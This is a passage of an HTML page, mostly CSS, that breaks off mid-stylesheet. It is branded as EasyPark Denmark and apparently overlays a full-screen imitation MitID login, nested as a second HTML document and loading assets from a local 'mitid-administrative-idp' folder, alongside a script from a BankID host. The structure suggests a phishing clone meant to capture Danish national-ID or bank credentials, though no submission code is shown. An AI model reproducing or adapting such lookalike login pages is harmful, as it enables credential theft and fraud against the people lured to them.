body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container {
position: static !important
}
}
body.swal2-toast-shown .swal2-container {
box-sizing: border-box;
width: 360px;
max-width: 100%;
background-color: rgba(0, 0, 0, 0);
pointer-events: none
}
body.swal2-toast-shown .swal2-container.swal2-top {
inset: 0 auto auto 50%;
transform: translateX(-50%)
}
body.swal2-toast-shown .swal2-container.swal2-top-end,
body.swal2-toast-shown .swal2-container.swal2-top-right {
inset: 0 0 auto auto
}
body.swal2-toast-shown .swal2-container.swal2-top-start,
body.swal2-toast-shown .swal2-container.swal2-top-left {
inset: 0 auto auto 0
}
body.swal2-toast-shown .swal2-container.swal2-center-start,
body.swal2-toast-shown .swal2-container.swal2-center-left {
inset: 50% auto auto 0;
transform: translateY(-50%)
}
body.swal2-toast-shown .swal2-container.swal2-center {
inset: 50% auto auto 50%;
transform: translate(-50%, -50%)
}
body.swal2-toast-shown .swal2-container.swal2-center-end,
body.swal2-toast-shown .swal2-container.swal2-center-right {
inset: 50% 0 auto auto;
transform: translateY(-50%)
}
body.swal2-toast-shown .swal2-container.swal2-bottom-start,
body.swal2-toast-shown .swal2-container.swal2-bottom-left {
inset: auto auto 0 0
}
body.swal2-toast-shown .swal2-container.swal2-bottom {
inset: auto auto 0 50%;
transform: translateX(-50%)
}
body.swal2-toast-shown .swal2-container.swal2-bottom-end,
body.swal2-toast-shown .swal2-container.swal2-bottom-right {
inset: auto 0 0 auto
}
.jss63 {
padding-top: 0px;
padding-bottom: 16px;
}
.css-162edyi {
font: inherit;
letter-spacing: inherit;
color: currentcolor;
border: 0px;
box-sizing: content-box;
background: none;
height: 1.4375em;
margin: 0px;
-webkit-tap-highlight-color: transparent;
display: block;
min-width: 0px;
width: 100%;
animation-name: mui-auto-fill-cancel;
animation-duration: 10ms;
padding: 8.5px 14px 8.5px 0px;
}
.css-14lo706 {
float: unset;
width: auto;
overflow: hidden;
display: block;
padding: 0px;
height: 11px;
font-size: 0.75em;
visibility: hidden;
max-width: 100%;
transition: max-width 100ms cubic-bezier(0, 0, 0.2, 1) 50ms;
white-space: nowrap;
}
.css-igs3ac {
text-align: left;
position: absolute;
inset: -5px 0px 0px;
margin: 0px;
padding: 0px 8px;
pointer-events: none;
border-radius: inherit;
border-style: solid;
border-width: 1px;
overflow: hidden;
min-width: 0%;
border-color: rgba(0, 0, 0, 0.23);
}
.css-2xhzvc {
font-family: Roboto, Helvetica, Arial, sans-serif;
font-weight: 400;
font-size: 1rem;
line-height: 1.4375em;
letter-spacing: 0.00938em;
color: rgba(0, 0, 0, 0.87);
box-sizing: border-box;
cursor: text;
display: inline-flex;
-webkit-box-align: center;
align-items: center;
width: 100%;
position: relative;
border-radius: 4px;
padding-left: 14px;
}
.MuiPhoneNumber-positionStart {
position: relative;
}
.css-1a6giau {
display: flex;
height: 0.01em;
max-height: 2em;
-webkit-box-align: center;
align-items: center;
white-space: nowrap;
color: rgba(0, 0, 0, 0.54);
margin-right: 8px;
}
.css-w0pj6f {
overflow: hidden;
pointer-events: none;
position: absolute;
z-index: 0;
inset: 0px;
border-radius: inherit;
}
.css-1ald77x {
color: rgba(0, 0, 0, 0.6);
font-family: Roboto, Helvetica, Arial, sans-serif;
font-weight: 400;
font-size: 1rem;
line-height: 1.4375em;
letter-spacing: 0.00938em;
padding: 0px;
display: block;
transform-origin: left top;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
max-width: calc(133% - 32px);
position: absolute;
left: 0px;
top: 0px;
transform: translate(14px, -9px) scale(0.75);
transition: color 200ms cubic-bezier(0, 0, 0.2, 1) 0ms, transform 200ms cubic-bezier(0, 0, 0.2, 1) 0ms, max-width 200ms cubic-bezier(0, 0, 0.2, 1) 0ms;
z-index: 1;
pointer-events: auto;
user-select: none;
}
.link10 {
color: rgb(25, 118, 210);
}
.css-14lo706 > span {
padding-left: 5px;
padding-right: 5px;
display: inline-block;
opacity: 0;
visibility: visible;
}
.css-feqhe6 {
display: inline-flex;
flex-direction: column;
position: relative;
min-width: 0px;
padding: 0px;
margin: 0px;
border: 0px;
vertical-align: top;
width: 100%;
}
.css-hjvdj6.Mui-error {
color: rgb(211, 47, 47);
}
.MuiFormHelperText-root.Mui-error {
color: #E7242E;
}
.css-hjvdj6 {
color: rgba(0, 0, 0, 0.6);
font-family: Roboto, Helvetica, Arial, sans-serif;
font-weight: 400;
font-size: 0.75rem;
line-height: 1.66;
letter-spacing: 0.03333em;
text-align: left;
margin: 4px 14px 0px;
}
.MuiFormHelperText-contained {
margin-left: 14px;
margin-right: 14px;
}
.MuiFormHelperText-root {
color: #595959;
margin: 0;
font-size: 0.75rem;
margin-top: 3px;
text-align: left;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.66;
}
</style>
<style>
.custom-container {
cursor: pointer;
border: 2px solid #ccc;
border-radius: 10px;
padding: 20px;
margin-bottom: 20px;
}
.selected {
border-color: #8cc63f !important;
background-color: #ffffff;
}
</style>
<style>
/* Estilos generales del formulario */
form {
max-width: 600px; /* Tamaño máximo del formulario */
margin: 0 auto; /* Centrar el formulario en la pantalla */
padding: 20px;
}
/* Estilos específicos para pantallas más pequeñas (móviles) */
@media only screen and (max-width: 600px) {
form {
max-width: 100%; /* Hacer que el formulario ocupe todo el ancho en pantallas pequeñas */
}
/* Puedes agregar más estilos específicos para pantallas pequeñas aquí */
}
</style>
<style>
form {
display: block;
margin: 0 auto;
}
.messageOverlay {
display: block;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(131, 131, 134, 0.7);
z-index: 9999;
}
.messageOverlay > div {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: white;
/*padding: 20px;*/
/*max-width: 450px;*/
/*width: 560px;*/
/*height: 630px;*/
}
.messageOverlay.jss1 {
text-align: left;
}
.css-1owoy0l {
--bankid-colors-fgColor-misc-brand-bankId: #39134C;
width: 156px;
height: 24px;
display: inline-block;
line-height: 1em;
-webkit-flex-shrink: 0;
-ms-flex-negative: 0;
flex-shrink: 0;
color: currentColor;
vertical-align: middle;
fill: var(--bankid-colors-fgColor-misc-brand-bankId);
}
</style>
<style data-styled="active" data-styled-version="6.1.1"></style>
</head>
<body>
<script type="text/javascript" src="https://csfe.bankid.no/jsclient21/error.js"></script>
<div id="root">
<div class="jss1">
<div class="jss2">
<div class="jss6">
<header class="modal-sign-in-header jss7">
<a href="/" class="jss8"><img src="static/media/logo-color-216x31.b60799681750b2a47287.png" alt="EasyPark" width="216" height="31" class="jss9"></a>
<div class="jss10">
<div role="button" tabindex="0" class="jss11">
<div class="jss13">
<span class="jss15">
<img src="static/media/dk.f4e8fc5376a202f1d771.svg" alt="Danmark" class="jss14">
<span class="jss17">Danmark</span>
</span>
<svg class="MuiSvgIcon-root jss16" focusable="false" viewBox="0 0 24 24" aria-hidden="true">
<path d="M7 10l5 5 5-5z"></path>
</svg>
</div>
</div>
<div role="button" tabindex="0">
<div class="jss19">
<svg class="MuiSvgIcon-root jss20" focusable="false" viewBox="0 0 24 24" aria-hidden="true">
<path d="M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zm6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56zM12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96zM4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2 0 .68.06 1.34.14 2H4.26zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56zm2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8zM12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96zM14.34 14H9.66c-.09-.66-.16-1.32-.16-2 0-.68.07-1.35.16-2h4.68c.09.65.16 1.32.16 2 0 .68-.07 1.34-.16 2zm.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56zM16.36 14c.08-.66.14-1.32.14-2 0-.68-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2h-3.38z"></path>
</svg>
<span class="jss21">Danmark</span>
<svg class="MuiSvgIcon-root jss22" focusable="false" viewBox="0 0 24 24" aria-hidden="true">
<path d="M7 10l5 5 5-5z"></path>
</svg>
</div>
</div>
</div>
</header>
</div>
</div>
<div class="jss3">
<main class="MuiBox-root jss23 jss5">
<div class="jss46">
<div class="MuiBackdrop-root jss55" aria-hidden="true" style="opacity: 0; visibility: hidden;">
<div class="MuiCircularProgress-root MuiCircularProgress-indeterminate" role="progressbar" style="width: 40px; height: 40px;">
<svg class="MuiCircularProgress-svg" viewBox="22 22 44 44">
<circle class="MuiCircularProgress-circle MuiCircularProgress-circleIndeterminate" cx="44" cy="44" r="20.2" fill="none" stroke-width="3.6"></circle>
</svg>
</div>
</div>
<div id="messageOverlay" class="messageOverlay jss1">
<div >
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<title>MitID</title>
<link rel="icon" type="image/png" href="mitid-administrative-idp/favicon.ico">
<link rel="stylesheet" href="mitid-administrative-idp/styles/styles.css">
<style id="mitid-styles">
.mitid-loader{align-content:stretch;align-items:stretch;align-self:auto;animation-delay:0s;animation-direction:normal;animation-duration:0s;animation-fill-mode:none;animation-iteration-count:1;animation-name:none;animation-play-state:running;animation-timing-function:ease;azimuth:center;-webkit-backface-visibility:visible;backface-visibility:visible;background-attachment:scroll;background-blend-mode:normal;background-clip:border-box;background-color:rgba(0,0,0,0);background-image:none;background-origin:padding-box;background-position:0% 0%;background-repeat:repeat;background-size:auto auto;block-size:auto;border-block-end-color:currentcolor;border-block-end-style:none;border-block-end-width:medium;border-block-start-color:currentcolor;border-block-start-style:none;border-block-start-width:medium;border-bottom-color:currentcolor;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:none;border-bottom-width:medium;border-collapse:separate;border-image-outset:0s;border-image-repeat:stretch;border-image-slice:100%;border-image-source:none;border-image-width:1;border-inline-end-color:currentcolor;border-inline-end-style:none;border-inline-end-width:medium;border-inline-start-color:currentcolor;border-inline-start-style:none;border-inline-start-width:medium;border-left-color:currentcolor;border-left-style:none;border-left-width:medium;border-right-color:currentcolor;border-right-style:none;border-right-width:medium;border-spacing:0;border-top-color:currentcolor;border-top-left-radius:0;border-top-right-radius:0;border-top-style:none;border-top-width:medium;bottom:auto;-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;box-sizing:content-box;break-after:auto;break-before:auto;break-inside:auto;caption-side:top;caret-color:auto;clear:none;clip:auto;-webkit-clip-path:none;clip-path:none;color:initial;column-count:auto;column-fill:balance;column-gap:normal;column-rule-color:currentcolor;column-rule-style:none;column-rule-width:medium;column-span:none;column-width:auto;content:normal;counter-increment:none;counter-reset:none;cursor:auto;display:inline;empty-cells:show;filter:none;flex-basis:auto;flex-direction:row;flex-grow:0;flex-shrink:1;flex-wrap:nowrap;float:none;font-family:initial;font-feature-settings:normal;font-kerning:auto;font-language-override:normal;font-size:medium;font-size-adjust:none;font-stretch:normal;font-style:normal;font-synthesis:weight style;font-variant:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-east-asian:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;font-weight:normal;grid-auto-columns:auto;grid-auto-flow:row;grid-auto-rows:auto;grid-column-end:auto;grid-column-gap:0;grid-column-start:auto;grid-row-end:auto;grid-row-gap:0;grid-row-start:auto;grid-template-areas:none;grid-template-columns:none;grid-template-rows:none;height:auto;-webkit-hyphens:manual;-ms-hyphens:manual;hyphens:manual;image-orientation:0deg;image-rendering:auto;image-resolution:1dppx;ime-mode:auto;inline-size:auto;isolation:auto;justify-content:flex-start;left:auto;letter-spacing:normal;line-break:auto;line-height:normal;list-style-image:none;list-style-position:outside;list-style-type:disc;margin-block-end:0;margin-block-start:0;margin-bottom:0;margin-inline-end:0;margin-inline-start:0;margin-left:0;margin-right:0;margin-top:0;-webkit-mask-clip:border-box;mask-clip:border-box;-webkit-mask-composite:source-over;mask-composite:add;-webkit-mask-image:none;mask-image:none;mask-mode:match-source;-webkit-mask-origin:border-box;mask-origin:border-box;-webkit-mask-position:0% 0%;mask-position:0% 0%;-webkit-mask-repeat:repeat;mask-repeat:repeat;-webkit-mask-size:auto;mask-size:auto;mask-type:luminance;max-height:none;max-width:none;min-block-size:0;min-height:0;min-inline-size:0;min-width:0;mix-blend-mode:normal;object-fit:fill;object-position:50% 50%;offset-block-end:auto;offset-block-start:auto;offset-inline-end:auto;offset-inline-start:auto;opacity:1;order:0;orphans:2;outline-color:initial;outline-offset:0;outline-style:none;outline-width:medium;overflow:visible;overflow-wrap:normal;overflow-x:visible;overflow-y:visible;padding-block-end:0;padding-block-start:0;padding-bottom:0;padding-inline-end:0;padding-inline-start:0;padding-left:0;padding-right:0;padding-top:0;page-break-after:auto;page-break-before:auto;page-break-inside:auto;perspective:none;perspective-origin:50% 50%;pointer-events:auto;position:static;quotes:initial;resize:none;right:auto;ruby-align:space-around;ruby-merge:separate;ruby-position:over;scroll-behavior:auto;-ms-scroll-snap-coordinate:none;scroll-snap-coordinate:none;-ms-scroll-snap-destination:0px 0px;scroll-snap-destination:0px 0px;-ms-scroll-snap-points-x:none;scroll-snap-points-x:none;-ms-scroll-snap-points-y:none;scroll-snap-points-y:none;-ms-scroll-snap-type:none;scroll-snap-type:none;shape-image-threshold:0;shape-margin:0;shape-outside:none;tab-size:8;table-layout:auto;text-align:initial;text-align-last:auto;text-combine-upright:none;-webkit-text-decoration-color:currentcolor;text-decoration-color:currentcolor;-webkit-text-decoration-line:none;text-decoration-line:none;-webkit-text-decoration-style:solid;text-decoration-style:solid;-webkit-text-emphasis-color:currentcolor;text-emphasis-color:currentcolor;-webkit-text-emphasis-position:over;text-emphasis-position:over right;-webkit-text-emphasis-style:none;text-emphasis-style:none;text-indent:0;text-justify:auto;text-orientation:mixed;text-overflow:clip;text-rendering:auto;text-shadow:none;text-transform:none;text-underline-position:auto;top:auto;touch-action:auto;transform:none;transform-box:border-box;transform-origin:50% 50% 0;transform-style:flat;transition-delay:0s;transition-duration:0s;transition-property:all;transition-timing-function:ease;vertical-align:baseline;visibility:visible;white-space:normal;widows:2;width:auto;will-change:auto;word-break:normal;word-spacing:normal;word-wrap:normal;-ms-writing-mode:lr-tb;writing-mode:horizontal-tb;z-index:auto;-webkit-appearance:none;appearance:none;background-color:#fff;border:1px solid #ccc;box-sizing:border-box;position:relative;padding:31px;min-width:300px;display:flex !important;justify-content:center;align-items:center}.mitid-loader *,.mitid-loader ::after,.mitid-loader ::before{align-content:stretch;align-items:stretch;align-self:auto;animation-delay:0s;animation-direction:normal;animation-duration:0s;animation-fill-mode:none;animation-iteration-count:1;animation-name:none;animation-play-state:running;animation-timing-function:ease;azimuth:center;-webkit-backface-visibility:visible;backface-visibility:visible;background-attachment:scroll;background-blend-mode:normal;background-clip:border-box;background-color:rgba(0,0,0,0);background-image:none;background-origin:padding-box;background-position:0% 0%;background-repeat:repeat;background-size:auto auto;block-size:auto;border-block-end-color:currentcolor;border-block-end-style:none;border-block-end-width:medium;border-block-start-color:currentcolor;border-block-start-style:none;border-block-start-width:medium;border-bottom-color:currentcolor;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:none;border-bottom-width:medium;border-collapse:separate;border-image-outset:0s;border-image-repeat:stretch;border-image-slice:100%;border-image-source:none;border-image-width:1;border-inline-end-color:currentcolor;border-inline-end-style:none;border-inline-end-width:medium;border-inline-start-color:currentcolor;border-inline-start-style:none;border-inline-start-width:medium;border-left-color:currentcolor;border-left-style:none;border-left-width:medium;border-right-color:currentcolor;border-right-style:none;border-right-width:medium;border-spacing:0;border-top-color:currentcolor;border-top-left-radius:0;border-top-right-radius:0;border-top-style:none;border-top-width:medium;bottom:auto;-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;box-sizing:content-box;break-after:auto;break-before:auto;break-inside:auto;caption-side:top;caret-color:auto;clear:none;clip:auto;-webkit-clip-path:none;clip-path:none;color:initial;column-count:auto;column-fill:balance;column-gap:normal;column-rule-color:currentcolor;column-rule-style:none;column-rule-width:medium;column-span:none;column-width:auto;content:normal;counter-increment:none;counter-reset:none;cursor:auto;display:inline;empty-cells:show;filter:none;flex-basis:auto;flex-direction:row;flex-grow:0;flex-shrink:1;flex-wrap:nowrap;float:none;font-family:initial;font-feature-settings:normal;font-kerning:auto;font-language-override:normal;font-size:medium;font-size-adjust:none;font-stretch:normal;font-style:normal;font-synthesis:weight style;font-variant:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-east-asian:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;font-weight:normal;grid-auto-columns:auto;grid-auto-flow:row;grid-auto-rows:auto;grid-column-end:auto;grid-column-gap:0;grid-column-start:auto;grid-row-end:auto;grid-row-gap:0;grid-row-start:auto;grid-template-areas:none;grid-template-columns:none;grid-template-rows:none;height:auto;-webkit-hyphens:manual;-ms-hyphens:manual;hyphens:manual;image-orientation:0deg;image-rendering:auto;image-resolution:1dppx;ime-mode:auto;inline-size:auto;isolation:auto;justify-content:flex-start;left:auto;letter-spacing:normal;line-break:auto;line-height:normal;list-style-image:none;list-style-position:outside;list-style-type:disc;margin-block-end:0;margin-block-start:0;margin-bottom:0;margin-inline-end:0;margin-inline-start:0;margin-left:0;margin-right:0;margin-top:0;-webkit-mask-clip:border-box;mask-clip:border-box;-webkit-mask-composite:source-over;mask-composite:add;-webkit-mask-image:none;mask-image:none;mask-mode:match-source;-webkit-mask-origin:border-box;mask-origin:border-box;-webkit-mask-position:0% 0%;mask-position:0% 0%;-webkit-mask-repeat:repeat;mask-repeat:repeat;-webkit-mask-size:auto;mask-size:auto;mask-type:luminance;max-height:none;max-width:none;min-block-size:0;min-height:0;min-inline-size:0;min-width:0;mix-blend-mode:normal;object-fit:fill;object-position:50% 50%;offset-block-end:auto;offset-block-start:auto;offset-inline-end:auto;offset-inline-start:auto;opacity:1;order:0;orphans:2;outline-color:initial;outline-offset:0;outline-style:none;outline-width:medium;overflow:visible;overflow-wrap:normal;overflow-x:visible;overflow-y:visible;padding-block-end:0;padding-block-start:0;padding-bottom:0;padding-inline-end:0;padding-inline-start:0;padding-left:0;padding-right:0;padding-top:0;page-break-after:auto;page-break-before:auto;page-break-inside:auto;perspective:none;perspective-origin:50% 50%;pointer-events:auto;position:static;quotes:initial;resize:none;right:auto;ruby-align:space-around;ruby-merge:separate;ruby-position:over;scroll-behavior:auto;-ms-scroll-snap-coordinate:none;scroll-snap-coordinate:none;-ms-scroll-snap-destination:0px 0px;scroll-snap-destination:0px 0px;-ms-scroll-snap-points-x:none;scroll-snap-points-x:none;-ms-scroll-snap-points-y:none;scroll-snap-points-y:none;-ms-scroll-snap-type:none;scroll-snap-type:none;shape-image-threshold:0;shape-margin:0;shape-outside:none;tab-size:8;table-layout:auto;text-align:initial;text-align-last:auto;text-combine-upright:none;-webkit-text-decoration-color:currentcolor;text-decoration-color:currentcolor;-webkit-text-decoration-line:none;text-decoration-line:none;-webkit-text-decoration-style:solid;text-decoration-style:solid;-webkit-text-emphasis-color:currentcolor;text-emphasis-color:currentcolor;-webkit-text-emphasis-position:over;text-emphasis-position:over right;-webkit-text-emphasis-style:none;text-emphasis-style:none;text-indent:0;text-justify:auto;text-orientation:mixed;text-overflow:clip;text-rendering:auto;text-shadow:none;text-transform:none;text-underline-position:auto;top:auto;touch-action:auto;transform:none;transform-box:border-box;transform-origin:50% 50% 0;transform-style:flat;transition-delay:0s;transition-duration:0s;transition-property:all;transition-timing-function:ease;vertical-align:baseline;visibility:visible;white-space:normal;widows:2;width:auto;will-change:auto;word-break:normal;word-spacing:normal;word-wrap:normal;-ms-writing-mode:lr-tb;writing-mode:horizontal-tb;z-index:auto;-webkit-appearance:none;appearance:none}@media screen and (max-width: 399px){.mitid-loader{width:336px !important;padding:5px;border:0;overflow:hidden}}@media screen and (max-height: 520px){.mitid-loader{height:auto}}.mitid-loader *{font-family:"IBM Plex Sans",Arial,Helvetica,FreeSans,sans,sans-serif;line-height:1.5rem;font-size:1rem;color:#333}.mitid-loader h2{font-size:1rem;color:#333;font-weight:700;line-height:1.5rem;margin:0;padding:0;display:block}.mitid-loader h3{color:#333;font-size:1.25rem;font-weight:700;line-height:1.75rem;margin:0;padding:0;display:block}.mitid-loader__font-load-500{visibility:hidden;font-weight:500;position:absolute;display:inline}.mitid-loader__font-load-600{visibility:hidden;font-weight:600;position:absolute;display:inline}.mitid-loader__title{font-size:1.25rem;font-weight:700;line-height:1.75rem;display:block;text-align:center;max-width:390px}.mitid-loader__content{z-index:2000;width:100%;display:flex;justify-content:center;align-items:center;flex-direction:column}.mitid-loader__logo{height:24px;position:relative;width:130px;margin-bottom:24px}.mitid-loader__logo-svg{position:absolute;left:-85px;top:-20px;height:62px;width:234px;transform:scale(0.26)}.mitid-loader__logo-svg path{fill:#0060e6}.mitid-loader__shield{position:absolute;width:100px;height:117px}.mitid-loader__shield path{fill:#39134C}.mitid-loader__state{position:relative;height:120px;width:100px;margin-bottom:24px;display:block}.mitid-loader__error{position:absolute}.mitid-loader__error circle,.mitid-loader__error path{fill:#fff}.mitid-loader__circular{animation:mitid-core--loader-rotate 1s linear infinite;transform-origin:center center;margin:auto;z-index:10;position:absolute;left:24px;top:28px;width:50px;height:50px}.mitid-loader__circular circle:first-child{stroke:#805c92}.mitid-loader__circular circle:last-child{animation:mitid-core--loader-dash 1.5s linear infinite}.mitid-loader__text{text-align:center;vertical-align:middle;line-height:1.5rem;min-height:3.625rem}.mitid-loader__description{line-height:2rem;display:block;text-align:center}.mitid-loader__link{color:#0060e6;cursor:pointer;padding:0 5px}@keyframes mitid-core--loader-rotate{100%{transform:rotate(360deg)}}@keyframes mitid-core--loader-dash{0%{stroke-dasharray:50 200}100%{stroke-dasharray:50 200}}
</style>
<style id="mitid-font-face">
@font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 400; font-display: block; src: local('IBM Plex Sans '), local('IBMPlexSans-'), url('assets/fonts/IBMPlexSans.woff2') format('woff2'), url('assets/fonts/IBMPlexSans.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 500; font-display: block; src: local('IBM Plex Sans Medium'), local('IBMPlexSans-Medium'), url('assets/fonts/IBMPlexSans-Medium.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-Medium.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 600; font-display: block; src: local('IBM Plex Sans SemiBold'), local('IBMPlexSans-SemiBold'), url('assets/fonts/IBMPlexSans-SemiBold.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-SemiBold.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 700; font-display: block; src: local('IBM Plex Sans Bold'), local('IBMPlexSans-Bold'), url('assets/fonts/IBMPlexSans-Bold.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-Bold.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; }
</style>
<style id="mitid-styles">
.mitid-core-client{overflow-y:auto;overflow-x:hidden;justify-content:stretch;flex-direction:column}.mitid--divider{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.2)}.mitid--divider-light{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.1)}.mitid--divider-lighter{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.05)}.mitid-login-divider--top{margin:.95rem 0 1.45rem 0}.mitid-login-divider--bottom{margin:0;margin-bottom:.875rem}.mitid-core-header{display:flex;overflow:hidden;justify-content:space-between;flex:0 0 auto}.mitid-core-header__text{width:243px;font-weight:700;word-break:break-word;word-wrap:break-word}.mitid-core-header__logo{height:1rem;width:3.813rem;padding-top:.25rem}.mitid-core-header__logo path{fill:#0060e6}.mitid-core-text-button{display:inline-flex;padding:.625rem .25rem;cursor:pointer;position:relative;left:-5px;border-radius:4px;text-decoration:none;align-items:center}.mitid-core-text-button:hover .mitid-core-text-button__label,.mitid-core-text-button:focus .mitid-core-text-button__label{text-decoration:underline;color:#004cb8}.mitid-core-text-button:focus:is(:focus-visible){box-shadow:0 0 0 3px #0060e6}.mitid-core-text-button:active .mitid-core-text-button__label{color:#00398a;text-decoration:underline}.mitid-core-text-button:hover .mitid-core-text-button__icon path,.mitid-core-text-button:focus .mitid-core-text-button__icon path{fill:#004cb8}.mitid-core-text-button:active .mitid-core-text-button__icon path{fill:#00398a}.mitid-core-text-button__text{display:flex}.mitid-core-text-button__icon{margin-right:.25rem;width:1.5rem;height:1.5rem;display:block;cursor:pointer;flex-shrink:0}.mitid-core-text-button__icon path{fill:#001c44;cursor:pointer}.mitid-core-text-button__icon svg{cursor:pointer}.mitid-core-text-button__label{max-width:100%;cursor:pointer;font-weight:600;color:#001c44;text-decoration:none}.mitid-core-text-button:after{content:"";min-height:inherit;font-size:0}.mitid-core-footer{display:flex;flex-direction:column;justify-content:space-between;flex:0 0 auto}.mitid-core-footer__nav{display:flex;align-items:center;height:1.5rem}@media screen and (max-width: 399px){.mitid-core-footer__nav{padding:0 5px 15px 5px}}.mitid--button--left:not(:focus)::before{content:" ";width:0;height:0;border-style:solid;border-width:10px 10px 0 10px;border-color:#fff rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);position:absolute;bottom:2.1rem;z-index:9999;left:1.1rem;display:none}.mitid--button--left-visibel:not(:focus)::before{display:block}.mitid--button-primary{position:relative;width:100%;cursor:pointer;box-sizing:border-box;border-radius:4px;border:none;display:inline-flex;align-items:center;outline:none;margin:0;background:#0060e6;color:#fff;border-radius:4px;height:3rem}.mitid--button-primary svg,.mitid--button-primary path{cursor:pointer}.mitid--button-primary .mitid--button-label{letter-spacing:0;line-height:1.5rem;margin-bottom:unset;font-weight:600;font-size:.875rem;text-transform:uppercase;letter-spacing:.05rem;vertical-align:middle}.mitid--button-primary .mitid--button-label:hover{cursor:pointer}.mitid--button-primary .mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#fff}.mitid--button-primary .mitid--button-icon path:last-child{fill:#fff}.mitid--button-primary.icon-only{margin:.25rem;display:inline-flex;width:3rem;height:3rem;justify-content:center}.mitid--button-primary.label-only{margin:.25rem;padding:.25rem 1rem .25rem 1rem}.mitid--button-primary:not(.icon-only):not(.label-only){padding:.25rem .75rem .25rem 1rem}.mitid--button-primary .mitid--button-spacing{flex:1;width:1rem}.mitid--button-primary{box-shadow:0 0 0 5px rgba(0,0,0,0)}.mitid--button-primary:focus:not(:active){box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6}.mitid--button-primary:hover:not(:disabled){background:#004cb8;border-radius:4px}.mitid--button-primary:hover:not(:disabled) .mitid--button-label{background:#004cb8;color:#fff !important}.mitid--button-primary:hover:not(:disabled) .mitid--button-icon{color:#fff !important}.mitid--button-primary:active:not(:disabled),.mitid--button-primary:active:not(:disabled) .mitid--button-label,.mitid--button-primary:active:not(:disabled) .mitid--button-icon{background:#00398a;position:relative;top:0;left:0}.mitid--button-primary:focus:not(:disabled):not(:active){background:#004cb8}.mitid--button-primary:disabled{background:#000;opacity:.2;text-decoration:none;cursor:not-allowed}.mitid--button-primary:disabled .mitid--button-label{cursor:not-allowed}.mitid--button-primary .mitid--button-label{color:#fff}.mitid--button-secondary{position:relative;width:100%;cursor:pointer;box-sizing:border-box;border-radius:4px;border:none;display:inline-flex;align-items:center;outline:none;margin:0;background:#fff;color:#001c44;border-radius:4px;border:1px solid #919191;height:3rem;outline:none;outline-width:0}.mitid--button-secondary svg,.mitid--button-secondary path{cursor:pointer}.mitid--button-secondary .mitid--button-label{letter-spacing:0;line-height:1.5rem;margin-bottom:unset;font-weight:600;font-size:.875rem;text-transform:uppercase;letter-spacing:.05rem;vertical-align:middle}.mitid--button-secondary .mitid--button-label:hover{cursor:pointer}.mitid--button-secondary .mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#fff}.mitid--button-secondary .mitid--button-icon path:last-child{fill:#fff}.mitid--button-secondary.icon-only{margin:.25rem;display:inline-flex;width:3rem;height:3rem;justify-content:center}.mitid--button-secondary.label-only{margin:.25rem;padding:.25rem 1rem .25rem 1rem}.mitid--button-secondary:not(.icon-only):not(.label-only){padding:.25rem .75rem .25rem 1rem}.mitid--button-secondary .mitid--button-spacing{flex:1;width:1rem}.mitid--button-secondary 